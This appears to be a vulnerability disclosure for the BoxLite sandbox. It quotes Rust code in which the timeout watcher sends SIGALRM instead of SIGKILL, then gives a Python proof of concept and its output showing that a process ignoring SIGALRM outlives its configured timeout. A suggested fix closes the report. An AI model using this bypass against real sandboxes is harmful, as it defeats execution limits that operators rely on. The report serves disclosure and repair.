// Step 3: Start timeout watcher (if requested)
if req.timeout ms > 0 {
  timeout::start timeout watcher(
    state,
    execution id.clone(),
    std::time::Duration::from millis(req.timeout ms),
  );
}

pub(super) fn start timeout watcher(
  exec state: ExecutionState,
  exec id: String,
  timeout: Duration,
) {
  tokio::spawn(async move {
    tokio::time::sleep(timeout).await;

    // Kill process with SIGKILL    ← comment says SIGKILL
    use nix::sys::signal::Signal;
    if exec state.kill(Signal::SIGALRM).await {  // ← but sends SIGALRM
      info!(execution id = %exec id, "killed on timeout");
    }
  });
}

pub async fn kill(&self, signal: nix::sys::signal::Signal) -> bool {
  let inner = self.inner.lock().await;
  if let Some(ref handle) = inner.handle {
    handle.kill(signal).is ok()
  } else {
    false
  }
}

pub fn kill(&self, signal: Signal) -> BoxliteResult<()> {
  use nix::sys::signal::kill;
  kill(self.pid, signal).map err(|e| {
    BoxliteError::Internal(format!(
      "Failed to send signal {} to process {}: {}",
      signal, self.pid, e
    ))
  })
}

#!/usr/bin/env python3
"""
PoC: BoxLite Execution Timeout Bypass via SIGALRM

Reproduces the vulnerability described in:
 "Hunt Report: Exec Timeout Enforcement Bypass via SIGALRM Misuse"

Root cause:
 guest/src/service/exec/timeout.rs sends Signal::SIGALRM (signal 14,
 catchable/ignorable) instead of Signal::SIGKILL (signal 9, uncatchable).

Exploitation:
 Any process that calls signal(SIGALRM, SIG IGN) will survive past its
 configured timeout and run indefinitely.

Usage:
 cd ~/Downloads/boxlite poc
 source .venv/bin/activate
 python3 poc sigalrm bypass.py
"""

import asyncio
import time

import boxlite

# -----------------------------------------------------------------------------
# Test programs (Python, so no gcc required)
# -----------------------------------------------------------------------------

# Control: no special signal handling — SIGALRM's default action is termination
NORMAL PROCESS = """
import sys, time, os, signal
seconds = int(sys.argv[1]) if len(sys.argv) > 1 else 8
print(f"PID {os.getpid()}: normal process (default SIGALRM), running for {seconds}s", flush=True)
for i in range(1, seconds + 1):
  time.sleep(1)
  print(f"PID {os.getpid()}: t+{i}s alive", flush=True)
print(f"PID {os.getpid()}: finished", flush=True)
"""

# Exploit: installs SIG IGN for SIGALRM — one line bypass
IGNORE SIGALRM = """
import sys, time, os, signal
seconds = int(sys.argv[1]) if len(sys.argv) > 1 else 8
signal.signal(signal.SIGALRM, signal.SIG IGN)  # <-- bypass
print(f"PID {os.getpid()}: SIGALRM=SIG IGN, running for {seconds}s", flush=True)
for i in range(1, seconds + 1):
  time.sleep(1)
  if i > 3:
    print(f"PID {os.getpid()}: t+{i}s STILL ALIVE (PAST 3s TIMEOUT!)", flush=True)
  else:
    print(f"PID {os.getpid()}: t+{i}s alive", flush=True)
print(f"PID {os.getpid()}: WORKLOAD COMPLETE - TIMEOUT WAS BYPASSED", flush=True)
"""

TIMEOUT S = 3.0  # configured timeout
WORKLOAD S = 8  # process wants to run for 8 seconds


# -----------------------------------------------------------------------------
# Helper
# -----------------------------------------------------------------------------

async def run test(box, name, script, timeout):
  print(f"
{'=' * 70}")
  print(f"TEST: {name}")
  print(f" timeout={timeout}s" if timeout else " timeout=None (disabled)")
  print(f"{'=' * 70}")
  t0 = time.time()
  try:
    result = await box.exec("python3", "-c", script, str(WORKLOAD S), timeout=timeout)
    elapsed = time.time() - t0
    print(f" [RESULT] exit code={result.exit code}, elapsed={elapsed:.2f}s")
    print(" [OUTPUT]")
    for line in result.stdout.strip().splitlines():
      if line.strip():
        print(f"  {line}")
    return {
      "elapsed": elapsed,
      "exit code": result.exit code,
      "timed out": False,
      "stdout": result.stdout,
    }
  except boxlite.TimeoutError as e:
    elapsed = time.time() - t0
    print(f" [TIMEOUT] BoxLite raised TimeoutError after {elapsed:.2f}s: {e}")
    return {"elapsed": elapsed, "exit code": None, "timed out": True, "stdout": ""}
  except Exception as e:
    elapsed = time.time() - t0
    print(f" [ERROR] {type(e). name }: {e} (elapsed {elapsed:.2f}s)")
    return {"elapsed": elapsed, "exit code": None, "timed out": False, "stdout": ""}


# -----------------------------------------------------------------------------
# Main
# -----------------------------------------------------------------------------

async def main():
  print("BoxLite PoC: Execution Timeout Bypass via SIGALRM")
  print("=" * 70)

  async with boxlite.SimpleBox(image="python:3-alpine") as box:
    print(f"Box started: {box.id}")

    # Confirm SIGALRM = 14 inside the container
    r = await box.exec("python3", "-c", "import signal; print(signal.SIGALRM)")
    print(f"SIGALRM value inside container: {r.stdout.strip()}")

    # --- Test 1: CONTROL ---
    r1 = await run test(
      box,
      "CONTROL: Normal process + 3s timeout (default SIGALRM=terminate)",
      NORMAL PROCESS,
      TIMEOUT S,
    )
    await asyncio.sleep(1)

    # --- Test 2: EXPLOIT ---
    r2 = await run test(
      box,
      "EXPLOIT: SIGALRM=SIG IGN + 3s timeout (BYPASS)",
      IGNORE SIGALRM,
      TIMEOUT S,
    )
    await asyncio.sleep(1)

    # --- Test 3: BASELINE ---
    r3 = await run test(
      box,
      "BASELINE: Normal process, no timeout (sanity check)",
      NORMAL PROCESS,
      None,
    )

    # --- Verdict ---
    print(f"
{'=' * 70}")
    print("VERDICT")
    print(f"{'=' * 70}")
    print(f" CONTROL: elapsed={r1['elapsed']:.2f}s exit code={r1['exit code']} timed out={r1['timed out']}")
    print(f" EXPLOIT: elapsed={r2['elapsed']:.2f}s exit code={r2['exit code']} timed out={r2['timed out']}")
    print(f" BASELINE: elapsed={r3['elapsed']:.2f}s exit code={r3['exit code']} timed out={r3['timed out']}")

    # exit code == -14 means killed by signal 14 (SIGALRM), not -9 (SIGKILL)
    control killed by sigalrm = r1["exit code"] == -14 and r1["elapsed"] < 5.0
    exploit survived     = r2["elapsed"] > 5.0 and r2["exit code"] == 0

    print()
    if control killed by sigalrm:
      print(" [+] Control process killed by signal 14 (SIGALRM), not signal 9 (SIGKILL)")
      print("   → confirms timeout watcher sends SIGALRM instead of SIGKILL")
    if exploit survived:
      print(f" [+] Exploit process ran {r2['elapsed']:.1f}s past {TIMEOUT S}s timeout, exited normally")
      print("   → SIGALRM was absorbed by SIG IGN, timeout completely bypassed")

    if exploit survived and control killed by sigalrm:
      print()
      print(" *** VULNERABILITY CONFIRMED ***")
      print(f" Fix: change Signal::SIGALRM → Signal::SIGKILL in")
      print(f"    guest/src/service/exec/timeout.rs")
    elif not exploit survived:
      print(" NOT CONFIRMED: exploit process was also terminated at timeout")
    else:
      print(" INCONCLUSIVE")


if  name  == " main ":
  asyncio.run(main())

$ python3 poc sigalrm bypass.py
BoxLite PoC: Execution Timeout Bypass via SIGALRM
======================================================================
Box started: W0oCKYIWga2t
SIGALRM value inside container: 14

======================================================================
TEST: CONTROL: Normal process + 3s timeout (default SIGALRM=terminate)
 timeout=3.0s
======================================================================
 [RESULT] exit code=-14, elapsed=3.01s
 [OUTPUT]
  PID 3: normal process (default SIGALRM), running for 8s
  PID 3: t+1s alive
  PID 3: t+2s alive

======================================================================
TEST: EXPLOIT: SIGALRM=SIG IGN + 3s timeout (BYPASS)
 timeout=3.0s
======================================================================
 [RESULT] exit code=0, elapsed=8.14s
 [OUTPUT]
  PID 4: SIGALRM=SIG IGN, running for 8s
  PID 4: t+1s alive
  PID 4: t+2s alive
  PID 4: t+3s alive
  PID 4: t+4s STILL ALIVE (PAST 3s TIMEOUT!)
  PID 4: t+5s STILL ALIVE (PAST 3s TIMEOUT!)
  PID 4: t+6s STILL ALIVE (PAST 3s TIMEOUT!)
  PID 4: t+7s STILL ALIVE (PAST 3s TIMEOUT!)
  PID 4: t+8s STILL ALIVE (PAST 3s TIMEOUT!)
  PID 4: WORKLOAD COMPLETE - TIMEOUT WAS BYPASSED

======================================================================
TEST: BASELINE: Normal process, no timeout (sanity check)
 timeout=None (disabled)
======================================================================
 [RESULT] exit code=0, elapsed=8.09s
 [OUTPUT]
  PID 5: normal process (default SIGALRM), running for 8s
  PID 5: t+1s alive
  PID 5: t+2s alive
  PID 5: t+3s alive
  PID 5: t+4s alive
  PID 5: t+5s alive
  PID 5: t+6s alive
  PID 5: t+7s alive
  PID 5: t+8s alive
  PID 5: finished

======================================================================
VERDICT
======================================================================
 CONTROL: elapsed=3.01s exit code=-14 timed out=False
 EXPLOIT: elapsed=8.14s exit code=0 timed out=False
 BASELINE: elapsed=8.09s exit code=0 timed out=False

 [+] Control process killed by signal 14 (SIGALRM), not signal 9 (SIGKILL)
   → confirms timeout watcher sends SIGALRM instead of SIGKILL
 [+] Exploit process ran 8.1s past 3.0s timeout, exited normally
   → SIGALRM was absorbed by SIG IGN, timeout completely bypassed

 *** VULNERABILITY CONFIRMED ***
 Fix: change Signal::SIGALRM → Signal::SIGKILL in
   guest/src/service/exec/timeout.rs